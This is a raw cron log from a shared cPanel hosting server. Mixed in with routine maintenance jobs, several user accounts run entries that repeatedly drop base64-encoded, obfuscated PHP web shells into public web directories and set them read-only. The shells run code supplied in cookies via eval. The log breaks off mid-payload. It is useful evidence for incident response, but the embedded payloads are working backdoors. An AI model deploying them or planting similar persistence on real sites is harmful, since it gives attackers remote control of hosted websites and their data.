Mar  1 07:10:02 medusa CROND[26582]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:10:02 medusa CROND[26583]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 07:10:02 medusa CROND[26585]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 07:10:02 medusa CROND[26586]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 07:10:02 medusa CROND[26587]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 07:10:02 medusa CROND[26590]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:10:02 medusa CROND[26591]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 07:10:02 medusa CROND[26595]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 07:10:02 medusa CROND[26598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:10:02 medusa CROND[26601]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:10:02 medusa CROND[26605]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:10:02 medusa CROND[26606]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:10:02 medusa CROND[26603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:10:02 medusa CROND[26616]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:10:02 medusa CROND[26617]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:10:02 medusa CROND[26619]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:10:02 medusa CROND[26621]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 07:10:02 medusa CROND[26622]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:10:02 medusa CROND[26614]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 07:10:02 medusa CROND[26626]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 07:10:02 medusa CROND[26620]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 07:10:02 medusa CROND[26628]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 07:10:02 medusa CROND[26615]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 07:10:02 medusa CROND[26602]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 07:11:01 medusa CROND[551]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 07:11:01 medusa CROND[665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:11:01 medusa CROND[725]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:11:01 medusa CROND[726]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:11:01 medusa CROND[727]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:11:01 medusa CROND[728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:11:01 medusa CROND[733]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 07:11:01 medusa CROND[735]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:11:01 medusa CROND[736]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:11:01 medusa CROND[738]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:11:01 medusa CROND[740]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:11:01 medusa CROND[747]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:11:01 medusa CROND[753]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:12:01 medusa CROND[5708]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:12:01 medusa CROND[5834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:12:01 medusa CROND[5944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:12:01 medusa CROND[5943]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:12:01 medusa CROND[5945]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9l